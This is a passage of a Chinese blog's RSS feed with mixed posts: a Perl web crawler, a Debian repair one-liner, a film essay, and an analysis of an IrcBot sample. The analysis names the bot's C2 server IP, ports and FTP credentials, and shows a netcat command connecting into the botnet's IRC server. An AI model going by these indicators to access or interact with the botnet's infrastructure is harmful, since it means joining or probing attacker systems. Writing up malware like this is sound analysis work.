<span style="color: rgb(0, 0, 102);">print</span> <span style="color: rgb(0, 0, 255);">$url2</span>, <span style="color: rgb(255, 0, 0);">&quot;<span style="color: rgb(0, 0, 153); font-weight: bold;">\n</span><span style="color: rgb(0, 0, 153); font-weight: bold;">\t</span>==&gt;<span style="color: rgb(0, 0, 153); font-weight: bold;">\n</span><span style="color: rgb(0, 0, 153); font-weight: bold;">\t</span>    &quot;</span>, <span style="color: rgb(0, 0, 255);">$result2</span>, <span style="color: rgb(255, 0, 0);">&quot;<span style="color: rgb(0, 0, 153); font-weight: bold;">\n</span>&quot;</span>;
&nbsp;
<span style="color: rgb(177, 177, 0);">if</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">$result1</span> eq <span style="color: rgb(0, 0, 255);">$result2</span> <span style="color: rgb(102, 204, 102);">)</span>
<span style="color: rgb(102, 204, 102);">{</span>
	<span style="color: rgb(0, 0, 102);">print</span> <span style="color: rgb(255, 0, 0);">&quot;<span style="color: rgb(0, 0, 153); font-weight: bold;">\n</span>they are the similar url<span style="color: rgb(0, 0, 153); font-weight: bold;">\n</span>&quot;</span>;
<span style="color: rgb(102, 204, 102);">}</span>
<span style="color: rgb(177, 177, 0);">else</span>
<span style="color: rgb(102, 204, 102);">{</span>
	<span style="color: rgb(0, 0, 102);">print</span> <span style="color: rgb(255, 0, 0);">&quot;<span style="color: rgb(0, 0, 153); font-weight: bold;">\n</span>not<span style="color: rgb(0, 0, 153); font-weight: bold;">\n</span>&quot;</span>;
<span style="color: rgb(102, 204, 102);">}</span>
脚本非常的乱，不过只是为了验证想法而已，没有关系。
</pre>
				]]>
			</description>
			<pubDate>Sun, 10 Jan 2010 22:18:36 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[蚂蚁家园]]></title>
			<category>琐记</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=749</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=749</guid>
			<description>
				<![CDATA[
<p>圣诞节收到一个蚂蚁家园，它们天天忙忙碌碌的工作，家园已经初见成果了。</p>
<p><a href="/userfiles/image/ants-home.jpg" target="_blank"><img hspace="0" height="480" border="0" width="640" src="/userfiles/image/ants-home.jpg" alt="" /></a></p>
<p>上班的间隙，观察一下蚂蚁的行为还是很有意思的。我能感知它们，他们却感知不到我。关键是，即使他们感知到我，我也不在乎。作为一个生存在二维空间的生物，蚂蚁还是很可怜的，不过也很开心。希望没有一个五维空间的生物，现在正在看我看蚂蚁，同时也在写他的博客。</p>
				]]>
			</description>
			<pubDate>Wed, 06 Jan 2010 15:33:54 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[阿凡达]]></title>
			<category>读书</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=748</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=748</guid>
			<description>
				<![CDATA[
<p>其实看了就知道，《阿凡达》是一部反映钉子户抗暴力拆迁的影片，转自http://www.tianya.cn/publicforum/content/free/1/1778729.shtml。</p><p>其实看了就知道，《阿凡达》是一部反映钉子户抗暴力拆迁的影片，转自http://www.tianya.cn/publicforum/content/free/1/1778729.shtml。<br />
<br />
第一阶段：2154年，一个叫RDA的土地开发公司，来到一个叫潘多拉的地方搞开发，号召大家只要搬家就可以有诱人的赔偿。可那条街居民大多一根筋，说这里是他们祖祖辈辈居住的地方，再多的钱也不干，再好的地方也不去。开发商就很恼火，这家开发公司其实是有半政府背景的，手下还有一些性格暴烈的打手，就像城管，于是开始打。但居民们拥有一些稀奇古怪的自制武器如弓箭、石头，还有违章的大型宠物如长颈马、迅雷兽，男女老少都很难缠，加之是老街，地形复杂道路崎岖，手机信号都有死角，所以开发商一时得不了手，还伤了不少人，这个时候开发商就想出派&ldquo;阿凡达&rdquo;去当卧底的点子。所谓&ldquo;阿凡达&rdquo;计划其实是让人化妆成当地居民刺探他们的底牌，了解地形，分化瓦解，为开发商提供最佳拆迁方案。<br />
<br />
第二阶段：可是这个叫&ldquo;杰克&rdquo;的阿凡达在卧底时不小心泡上了当地居民首领的女儿，发生真感情，卧底就被反卧底，就反过来动员开发商不要强行拆迁，要体恤民意，他还可以帮忙跟居民沟通做工作。开发商毛了，更毛的是城管头子（那个叫夸奇的退役军人），觉得杰克简直丢了城管的脸，一怒之下就率部前去攻打，有道是&ldquo;给我三千城管，一夜收复台湾&rdquo;，他们有巨型推土机，有定向爆破，有武装施工队，一时居民望风披靡，还死了抗暴力拆迁的领导人，也就是那女孩的爸爸。<br />
<br />
第三阶段：这时杰克终于明白，根本不需要什么沟通，大家只能以暴制暴，他带领居民们用最土的武器与城管殊死搏斗，自制燃烧瓶、弹弓、大型野生的或家养的宠物、把物件卡在城管的推土机的齿轮中&hellip;&hellip; 最后一幕很有喻意，武装到牙齿的城管头子被女孩用最土的弓箭射杀，代表强势政权和极端武力的一方被代表民意和传统一方制服。<br />
<br />
看了这部钉子户史诗般的巨片后我有几点感想：<br />
<br />
一、正义。各方都觉得自己代表着正义的，比如开发商认为他是拉动了GDP，搞活了经济，为这个落后愚昧的老街带来新气象，只是遭到不明真相群众的抵制；比如城管头子认为叛徒杰克简直不可理喻，作为一名前军人怎可以不听组织上的指挥，那些垃圾生物一排炮打死得了，废什么话；居民们则认为，他们不需要也不接受所谓&ldquo;美好生活&rdquo;，对于&ldquo;美好生活&rdquo;他们有自己的标准，他们就愿意住在树洞里跟神灵在一起，而不愿去住高级电梯公寓。这个感想是：所有的战争都是因为自以为的正义感而起的，但真正的正义是&mdash;&mdash;不要轻易改变别人生活的方式。<br />
<br />
二、觉悟。影片没有交待是否有漫天要价的情节，而那些居民们住的是黄金口岸，开发商确实也开出了很高的价格，但居民们还是不搬迁，那棵上千米高的大树成为钉子户们伟大的图腾，就像一枚参天的钉子，脚下的根蔓则是链接千万年来亲情的基础，他们是为这个活着的。开发商不理解这个，认为那棵树就是违章建筑，那些居民就是刁民，不醒事体，不支持城市建设，没有牺牲小我成就大我的觉悟。感想是：人类过度发达的结果我们已经看到了，就是玩得自己资源殆尽，就去抢别人的资源。<br />
<br />
三、自焚。居民们在高科技的飞行器来到之时还不躲避，还倔强地伫立在那棵大钉子前，其实是在玩自焚。自焚不划算的，根本感动不了开发商，推土机、飞行器里的城管们看着居民烧成碳化物后还哈哈大笑，觉得这些生物真的很二逼。所以以暴制暴的杰克才是对的，他带领大家直扑过去，一顿乱打，城管们才惊慌失措，居民们才换回了家园。<br />
<br />
四、叛徒。作为人类的我生平第一次为外星人而背叛了人类，当外星土著与地球城管们搏斗时，我是悄悄站在他们那边的，城管们每回向外星人开枪时就紧张，每死一个外星土著就黯然神伤，那些大鸟每抓下一架飞机时就很想鼓掌，及至躲杀城管头子时，我生怕他复活过来希望那个外星土著美女赶紧补上一箭&hellip;&hellip;估计这些叛徒的念头很多看了影片的人也是有的，因为无论中国人外国人都仇恨强行拆迁的事情（中国人为甚），大家就代入感了，就同仇敌忾了。其实那些外星土著长得并不好看，但是看着看着就觉得她们很妩媚了，因为，所有的生物不是因为符合人类的审美标准而美丽，而是因为心灵的相通而美丽。<br />
<br />
五、很多中国电影人都在评论《阿凡达》在电影技术上的领先，也说过这部片子是视觉盛宴但内容一般。我就知道中国电影为什么落后了，土鳖的中国电影人根本不知什么是好作品，他们要么把一部作品的主题搞得神神叨叨，比如《三枪》，要么搞得高层建瓴、文以载道，比如&hellip;&hellip;很多。好的作品就是反映人性的，而不是D性或政府性的，中国电影人也不是不知道这个，他们先是不敢，后便不能了，这方面功能被割掉了，所以中国电影人大部份是太监，中国电影就是太监电影，我们拍点被矫改过的历史片就可以了，幻想片是肯定不行的，不是我们技术不行，而是我们想像力不行，不是想像力不行，而是不敢对未来负责任，只想对有关部门负责就可以了。这时候，电影就不是电影，而是有关部门和有关精神的皮影。<br />
<br />
有唐福珍、有潘蓉、有最牛钉子户、有河南、四川、上海最强悍城管，还有拆迁办与非常中国的《城市房屋拆迁管理条例》，我怀疑卡梅隆是悄悄在中国卧底多年后才想出这个剧本的，只不过把结尾弄得光明一些。总之，《阿凡达》是一部讴歌钉子户抗击暴力拆迁的成功典范，不论战术上还是战略上都值得借鉴。技术上中国电影落后五十年，人性上中国电影落后五千年。</p>
				]]>
			</description>
			<pubDate>Tue, 05 Jan 2010 12:11:49 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[perl爬虫]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=747</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=747</guid>
			<description>
				<![CDATA[
<p>摘要：昨天阴沉了一天，闷在家里做了个简单的爬虫，主要是多线程、队列、Bloom Filter等的使用，算是个demo吧。今天终于下雪了，和LP出去走了走，很有感觉。</p>
<p>update：2010年1月4日同事在项目中使用，所以我略微review了一下代码。有点小的改动，主要是线程互斥。</p><p>摘要：昨天阴沉了一天，闷在家里做了个简单的爬虫，主要是多线程、队列、Bloom Filter等的使用，算是个demo吧。今天终于下雪了，和LP出去走了走，很有感觉。</p>
<p>update：2010年1月4日同事在项目中使用，所以我略微review了一下代码。有点小的改动，主要是线程互斥。</p>
<pre class="perl"><span style="color: rgb(128, 128, 128); font-style: italic;">#!/usr/bin/perl</span>
<span style="color: rgb(0, 0, 0); font-weight: bold;">use</span> strict;
<span style="color: rgb(0, 0, 0); font-weight: bold;">use</span> warnings;
<span style="color: rgb(128, 128, 128); font-style: italic;">#use Data::Dumper;</span>
<span style="color: rgb(0, 0, 0); font-weight: bold;">use</span> threads;
<span style="color: rgb(0, 0, 0); font-weight: bold;">use</span> threads::<span style="color: rgb(0, 102, 0);">shared</span>;
<span style="color: rgb(0, 0, 0); font-weight: bold;">use</span> Thread::<span style="color: rgb(0, 102, 0);">Queue</span>;
<span style="color: rgb(0, 0, 0); font-weight: bold;">use</span> Thread::<span style="color: rgb(0, 102, 0);">Semaphore</span>;
&nbsp;
<span style="color: rgb(0, 0, 0); font-weight: bold;">use</span> Bloom::<span style="color: rgb(0, 102, 0);">Filter</span>;
<span style="color: rgb(0, 0, 0); font-weight: bold;">use</span> URI::<span style="color: rgb(0, 102, 0);">URL</span>;
<span style="color: rgb(0, 0, 0); font-weight: bold;">use</span> Web::<span style="color: rgb(0, 102, 0);">Scraper</span>;
&nbsp;
<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$max_threads</span> = <span style="color: rgb(204, 102, 204);">15</span>;
<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$base_url</span> = <span style="color: rgb(0, 0, 255);">$ARGV</span><span style="color: rgb(102, 204, 102);">[</span><span style="color: rgb(204, 102, 204);">0</span><span style="color: rgb(102, 204, 102);">]</span> || <span style="color: rgb(255, 0, 0);">'http://www.icylife.net'</span>;
<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$host</span> = URI::<span style="color: rgb(0, 102, 0);">URL</span>-&gt;<span style="color: rgb(0, 102, 0);">new</span><span style="color: rgb(102, 204, 102);">(</span><span style="color: rgb(0, 0, 255);">$base_url</span><span style="color: rgb(102, 204, 102);">)</span>-&gt;<span style="color: rgb(0, 102, 0);">host</span>;
&nbsp;
<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$queue</span> = Thread::<span style="color: rgb(0, 102, 0);">Queue</span>-&gt;<span style="color: rgb(0, 102, 0);">new</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(102, 204, 102);">)</span>;
&nbsp;
<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$semaphore</span> = Thread::<span style="color: rgb(0, 102, 0);">Semaphore</span>-&gt;<span style="color: rgb(0, 102, 0);">new</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">$max_threads</span> <span style="color: rgb(102, 204, 102);">)</span>;
<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$mutex</span> = Thread::<span style="color: rgb(0, 102, 0);">Semaphore</span>-&gt;<span style="color: rgb(0, 102, 0);">new</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(204, 102, 204);">1</span> <span style="color: rgb(102, 204, 102);">)</span>;
&nbsp;
<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$filter</span> = shared_clone<span style="color: rgb(102, 204, 102);">(</span> Bloom::<span style="color: rgb(0, 102, 0);">Filter</span>-&gt;<span style="color: rgb(0, 102, 0);">new</span><span style="color: rgb(102, 204, 102);">(</span>capacity =&gt; <span style="color: rgb(204, 102, 204);">10000</span>, error_rate =&gt; <span style="color: rgb(204, 102, 204);">0.0001</span><span style="color: rgb(102, 204, 102);">)</span> <span style="color: rgb(102, 204, 102);">)</span>;
&nbsp;
<span style="color: rgb(0, 0, 255);">$queue</span>-&gt;<span style="color: rgb(0, 102, 0);">enqueue</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">$base_url</span> <span style="color: rgb(102, 204, 102);">)</span>;
<span style="color: rgb(0, 0, 255);">$filter</span>-&gt;<span style="color: rgb(0, 102, 0);">add</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">$base_url</span> <span style="color: rgb(102, 204, 102);">)</span>;
&nbsp;
<span style="color: rgb(177, 177, 0);">while</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(204, 102, 204);">1</span> <span style="color: rgb(102, 204, 102);">)</span>
<span style="color: rgb(102, 204, 102);">{</span>
        <span style="color: rgb(128, 128, 128); font-style: italic;"># join all threads which can be joined</span>
        <span style="color: rgb(128, 128, 128); font-style: italic;">#my $joined = 0;</span>
        <span style="color: rgb(177, 177, 0);">foreach</span> <span style="color: rgb(102, 204, 102);">(</span> threads-&gt;<span style="color: rgb(0, 102, 0);">list</span><span style="color: rgb(102, 204, 102);">(</span>threads::<span style="color: rgb(0, 102, 0);">joinable</span><span style="color: rgb(102, 204, 102);">)</span> <span style="color: rgb(102, 204, 102);">)</span>
        <span style="color: rgb(102, 204, 102);">{</span>
                <span style="color: rgb(128, 128, 128); font-style: italic;">#$joined ++;</span>
                <span style="color: rgb(0, 0, 255);">$_</span>-&gt;<span style="color: rgb(0, 102, 0);">join</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(102, 204, 102);">)</span>;
        <span style="color: rgb(102, 204, 102);">}</span>
        <span style="color: rgb(128, 128, 128); font-style: italic;">#print $joined, &quot; joined\n&quot;;</span>
&nbsp;
        <span style="color: rgb(128, 128, 128); font-style: italic;"># if there are no url need process.</span>
        <span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$item</span> = <span style="color: rgb(0, 0, 255);">$queue</span>-&gt;<span style="color: rgb(0, 102, 0);">pending</span><span style="color: rgb(102, 204, 102);">(</span><span style="color: rgb(102, 204, 102);">)</span>;
        <span style="color: rgb(177, 177, 0);">if</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">$item</span> == <span style="color: rgb(204, 102, 204);">0</span> <span style="color: rgb(102, 204, 102);">)</span>
        <span style="color: rgb(102, 204, 102);">{</span>
                <span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$active</span> = threads-&gt;<span style="color: rgb(0, 102, 0);">list</span><span style="color: rgb(102, 204, 102);">(</span>threads::<span style="color: rgb(0, 102, 0);">running</span><span style="color: rgb(102, 204, 102);">)</span>;
                <span style="color: rgb(128, 128, 128); font-style: italic;"># there are no active thread, we finish the job</span>
                <span style="color: rgb(177, 177, 0);">if</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">$active</span> == <span style="color: rgb(204, 102, 204);">0</span> <span style="color: rgb(102, 204, 102);">)</span>
                <span style="color: rgb(102, 204, 102);">{</span>
                        <span style="color: rgb(0, 0, 102);">print</span> <span style="color: rgb(255, 0, 0);">&quot;All done!\n&quot;</span>;
                        <span style="color: rgb(177, 177, 0);">last</span>;
                <span style="color: rgb(102, 204, 102);">}</span>
                <span style="color: rgb(128, 128, 128); font-style: italic;"># we will get some more url if there are some active threads, just wait for them</span>
                <span style="color: rgb(177, 177, 0);">else</span>
                <span style="color: rgb(102, 204, 102);">{</span>
                        <span style="color: rgb(128, 128, 128); font-style: italic;">#print &quot;[MAIN] 0 URL, but $active active thread\n&quot;;</span>
                        <span style="color: rgb(0, 0, 102);">sleep</span> <span style="color: rgb(204, 102, 204);">1</span>;
                        <span style="color: rgb(177, 177, 0);">next</span>;
                <span style="color: rgb(102, 204, 102);">}</span>
        <span style="color: rgb(102, 204, 102);">}</span>
&nbsp;
        <span style="color: rgb(128, 128, 128); font-style: italic;"># if there are some url need process</span>
        <span style="color: rgb(128, 128, 128); font-style: italic;">#print &quot;[MAIN] $item URLn&quot;;</span>
        <span style="color: rgb(0, 0, 255);">$semaphore</span>-&gt;<span style="color: rgb(0, 102, 0);">down</span>;
        <span style="color: rgb(128, 128, 128); font-style: italic;">#print &quot;[MAIN]Create thread.n&quot;;</span>
        threads-&gt;<span style="color: rgb(0, 102, 0);">create</span><span style="color: rgb(102, 204, 102);">(</span> \&amp;ProcessUrl <span style="color: rgb(102, 204, 102);">)</span>;
<span style="color: rgb(102, 204, 102);">}</span>
&nbsp;
<span style="color: rgb(128, 128, 128); font-style: italic;"># join all threads which can be joined</span>
<span style="color: rgb(177, 177, 0);">foreach</span> <span style="color: rgb(102, 204, 102);">(</span> threads-&gt;<span style="color: rgb(0, 102, 0);">list</span><span style="color: rgb(102, 204, 102);">(</span><span style="color: rgb(102, 204, 102);">)</span> <span style="color: rgb(102, 204, 102);">)</span>
<span style="color: rgb(102, 204, 102);">{</span>
        <span style="color: rgb(0, 0, 255);">$_</span>-&gt;<span style="color: rgb(0, 102, 0);">join</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(102, 204, 102);">)</span>;
<span style="color: rgb(102, 204, 102);">}</span>
&nbsp;
<span style="color: rgb(0, 0, 0); font-weight: bold;">sub</span> ProcessUrl
<span style="color: rgb(102, 204, 102);">{</span>
        <span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$scraper</span> = scraper
        <span style="color: rgb(102, 204, 102);">{</span>
                process <span style="color: rgb(255, 0, 0);">'//a'</span>, <span style="color: rgb(255, 0, 0);">'links[]'</span> =&gt; <span style="color: rgb(255, 0, 0);">'@href'</span>;
        <span style="color: rgb(102, 204, 102);">}</span>;
&nbsp;
        <span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$res</span>;
        <span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$link</span>;
&nbsp;
        <span style="color: rgb(177, 177, 0);">while</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$url</span> = <span style="color: rgb(0, 0, 255);">$queue</span>-&gt;<span style="color: rgb(0, 102, 0);">dequeue_nb</span><span style="color: rgb(102, 204, 102);">(</span><span style="color: rgb(102, 204, 102);">)</span> <span style="color: rgb(102, 204, 102);">)</span>
        <span style="color: rgb(102, 204, 102);">{</span>
                <span style="color: rgb(0, 0, 102);">eval</span>
                <span style="color: rgb(102, 204, 102);">{</span>
                        <span style="color: rgb(0, 0, 255);">$res</span> = <span style="color: rgb(0, 0, 255);">$scraper</span>-&gt;<span style="color: rgb(0, 102, 0);">scrape</span><span style="color: rgb(102, 204, 102);">(</span> URI-&gt;<span style="color: rgb(0, 102, 0);">new</span><span style="color: rgb(102, 204, 102);">(</span><span style="color: rgb(0, 0, 255);">$url</span><span style="color: rgb(102, 204, 102);">)</span> <span style="color: rgb(102, 204, 102);">)</span>-&gt;<span style="color: rgb(102, 204, 102);">{</span><span style="color: rgb(255, 0, 0);">'links'</span><span style="color: rgb(102, 204, 102);">}</span>;
                <span style="color: rgb(102, 204, 102);">}</span>;
                <span style="color: rgb(177, 177, 0);">if</span><span style="color: rgb(102, 204, 102);">(</span> $@ <span style="color: rgb(102, 204, 102);">)</span>
                <span style="color: rgb(102, 204, 102);">{</span>
                        <span style="color: rgb(0, 0, 102);">warn</span> <span style="color: rgb(255, 0, 0);">&quot;$@\n&quot;</span>;
                        <span style="color: rgb(177, 177, 0);">next</span>;
                <span style="color: rgb(102, 204, 102);">}</span>
                <span style="color: rgb(177, 177, 0);">next</span> <span style="color: rgb(177, 177, 0);">if</span> <span style="color: rgb(102, 204, 102);">(</span>! <span style="color: rgb(0, 0, 102);">defined</span> <span style="color: rgb(0, 0, 255);">$res</span> <span style="color: rgb(102, 204, 102);">)</span>;
&nbsp;
                <span style="color: rgb(128, 128, 128); font-style: italic;">#print &quot;there are &quot;.scalar(threads-&gt;list(threads::running)).&quot; threads, &quot;, $queue-&gt;pending(), &quot; urls need process.\n&quot;;</span>
&nbsp;
                <span style="color: rgb(177, 177, 0);">foreach</span><span style="color: rgb(102, 204, 102);">(</span> @<span style="color: rgb(102, 204, 102);">{</span><span style="color: rgb(0, 0, 255);">$res</span><span style="color: rgb(102, 204, 102);">}</span> <span style="color: rgb(102, 204, 102);">)</span>
                <span style="color: rgb(102, 204, 102);">{</span>
                        <span style="color: rgb(0, 0, 255);">$link</span> = <span style="color: rgb(0, 0, 255);">$_</span>-&gt;<span style="color: rgb(0, 102, 0);">as_string</span>;
                        <span style="color: rgb(0, 0, 255);">$link</span> = URI::<span style="color: rgb(0, 102, 0);">URL</span>-&gt;<span style="color: rgb(0, 102, 0);">new</span><span style="color: rgb(102, 204, 102);">(</span><span style="color: rgb(0, 0, 255);">$link</span>, <span style="color: rgb(0, 0, 255);">$url</span><span style="color: rgb(102, 204, 102);">)</span>;
&nbsp;
                        <span style="color: rgb(128, 128, 128); font-style: italic;"># not http and not https?</span>
                        <span style="color: rgb(177, 177, 0);">next</span> <span style="color: rgb(177, 177, 0);">if</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">$link</span>-&gt;<span style="color: rgb(0, 102, 0);">scheme</span> <span style="color: rgb(177, 177, 0);">ne</span> <span style="color: rgb(255, 0, 0);">'http'</span> &amp;&amp; <span style="color: rgb(0, 0, 255);">$link</span>-&gt;<span style="color: rgb(0, 102, 0);">scheme</span> <span style="color: rgb(177, 177, 0);">ne</span> <span style="color: rgb(255, 0, 0);">'https'</span> <span style="color: rgb(102, 204, 102);">)</span>;
                        <span style="color: rgb(128, 128, 128); font-style: italic;"># another domain?</span>
                        <span style="color: rgb(177, 177, 0);">next</span> <span style="color: rgb(177, 177, 0);">if</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">$link</span>-&gt;<span style="color: rgb(0, 102, 0);">host</span> <span style="color: rgb(177, 177, 0);">ne</span> <span style="color: rgb(0, 0, 255);">$host</span> <span style="color: rgb(102, 204, 102);">)</span>;
&nbsp;
                        <span style="color: rgb(0, 0, 255);">$link</span> = <span style="color: rgb(0, 0, 255);">$link</span>-&gt;<span style="color: rgb(0, 102, 0);">abs</span>-&gt;<span style="color: rgb(0, 102, 0);">as_string</span>;
&nbsp;
                        <span style="color: rgb(177, 177, 0);">if</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">$link</span> =~ /<span style="color: rgb(102, 204, 102);">(</span>.*?<span style="color: rgb(102, 204, 102);">)</span><span style="color: rgb(128, 128, 128); font-style: italic;">#(.*)/ )</span>
                        <span style="color: rgb(102, 204, 102);">{</span>
                                <span style="color: rgb(0, 0, 255);">$link</span> = $<span style="color: rgb(204, 102, 204);">1</span>;
                        <span style="color: rgb(102, 204, 102);">}</span>
&nbsp;
                        <span style="color: rgb(177, 177, 0);">next</span> <span style="color: rgb(177, 177, 0);">if</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">$link</span> =~ /.<span style="color: rgb(102, 204, 102);">(</span>jpg|png|bmp|mp3|wma|wmv|gz|zip|rar|iso|pdf<span style="color: rgb(102, 204, 102);">)</span>$/i <span style="color: rgb(102, 204, 102);">)</span>;
&nbsp;
                        <span style="color: rgb(0, 0, 255);">$mutex</span>-&gt;<span style="color: rgb(0, 102, 0);">down</span><span style="color: rgb(102, 204, 102);">(</span><span style="color: rgb(102, 204, 102);">)</span>;
                        <span style="color: rgb(177, 177, 0);">if</span><span style="color: rgb(102, 204, 102);">(</span> ! <span style="color: rgb(0, 0, 255);">$filter</span>-&gt;<span style="color: rgb(0, 102, 0);">check</span><span style="color: rgb(102, 204, 102);">(</span><span style="color: rgb(0, 0, 255);">$link</span><span style="color: rgb(102, 204, 102);">)</span> <span style="color: rgb(102, 204, 102);">)</span>
                        <span style="color: rgb(102, 204, 102);">{</span>
                                <span style="color: rgb(0, 0, 102);">print</span> <span style="color: rgb(0, 0, 255);">$filter</span>-&gt;<span style="color: rgb(0, 102, 0);">key_count</span><span style="color: rgb(102, 204, 102);">(</span><span style="color: rgb(102, 204, 102);">)</span>, <span style="color: rgb(255, 0, 0);">&quot; &quot;</span>, <span style="color: rgb(0, 0, 255);">$link</span>, <span style="color: rgb(255, 0, 0);">&quot;\n&quot;</span>;
                                <span style="color: rgb(0, 0, 255);">$filter</span>-&gt;<span style="color: rgb(0, 102, 0);">add</span><span style="color: rgb(102, 204, 102);">(</span><span style="color: rgb(0, 0, 255);">$link</span><span style="color: rgb(102, 204, 102);">)</span>;
                                <span style="color: rgb(0, 0, 255);">$queue</span>-&gt;<span style="color: rgb(0, 102, 0);">enqueue</span><span style="color: rgb(102, 204, 102);">(</span><span style="color: rgb(0, 0, 255);">$link</span><span style="color: rgb(102, 204, 102);">)</span>;
                        <span style="color: rgb(102, 204, 102);">}</span>
                        <span style="color: rgb(0, 0, 255);">$mutex</span>-&gt;<span style="color: rgb(0, 102, 0);">up</span><span style="color: rgb(102, 204, 102);">(</span><span style="color: rgb(102, 204, 102);">)</span>;
                        <span style="color: rgb(0, 0, 102);">undef</span> <span style="color: rgb(0, 0, 255);">$link</span>;
                <span style="color: rgb(102, 204, 102);">}</span>
                <span style="color: rgb(0, 0, 102);">undef</span> <span style="color: rgb(0, 0, 255);">$res</span>;
        <span style="color: rgb(102, 204, 102);">}</span>
        <span style="color: rgb(0, 0, 102);">undef</span> <span style="color: rgb(0, 0, 255);">$scraper</span>;
        <span style="color: rgb(0, 0, 255);">$semaphore</span>-&gt;<span style="color: rgb(0, 102, 0);">up</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(102, 204, 102);">)</span>;
<span style="color: rgb(102, 204, 102);">}</span>
&nbsp;</pre>
				]]>
			</description>
			<pubDate>Sun, 27 Dec 2009 18:07:08 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[今天把debian搞坏了]]></title>
			<category>琐记</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=746</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=746</guid>
			<description>
				<![CDATA[
<p>今天很囧的把一个debian的源搞坏了，没法用apt-get安装包。经过一番修复测试之后，连vim都搞没有了，至于emacs根本没装过。没有编辑器就没法修改源，没法修改源就没法安装编辑器了，成了先有鸡还是先有蛋的问题了&hellip;&hellip;</p>
<p>cat了一下没cat进去，最后用perl搞定的。&nbsp;perl -e 'open(FH, &quot;&gt;&gt;/etc/apt/sources.list&quot;) || die &quot;open error&quot;;print FH &quot;deb http://ftp.de.debian.org/debian lenny main\n&quot;;close FH;'</p>
				]]>
			</description>
			<pubDate>Wed, 23 Dec 2009 17:28:11 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[HTML Device]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=745</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=745</guid>
			<description>
				<![CDATA[
<p><a href="http://dev.w3.org/html5/html-device/" target="_blank">http://dev.w3.org/html5/html-device/</a></p>
<h2 id="abstract" class="no-num no-toc">Abstract</h2>
<p>This specification defines the HTML <code><a href="http://dev.w3.org/html5/html-device/#devices">device</a></code> element,   to enable video conferencing from HTML applications.</p>
				]]>
			</description>
			<pubDate>Wed, 16 Dec 2009 11:10:53 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[碰见个IrcBot]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=744</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=744</guid>
			<description>
				<![CDATA[
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 前几天无意中捡到一个IrcBot，PECompact 2.X加壳的。执行后创建服务，扫描IPC和SQL Server若密码试图传播。一直以为中国人不喜欢搞IRC的，看来还是有啊。这个Bot可以做SYN攻击和UDP攻击，IRC服务器是60.10.179.100:8280，还有个FTP服务器运行在60.10.179.100:2121，帐号密码都是123，http://60.10.179.100:15555/运行着一个HFS服务。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 补充：我把逆向出来的结果给我们的harry同学了，他下午研究了下，最终跑进IRC了。</p>
<blockquote>
<p><font color="#000000" face="Arial" style="font-size: 10pt;">$&nbsp;nc&nbsp;-v&nbsp;rose.linkpc.net&nbsp;8280<br />
Warning:&nbsp;inverse&nbsp;host&nbsp;lookup&nbsp;failed&nbsp;for&nbsp;60.10.179.100:&nbsp;Unknown&nbsp;host<br />
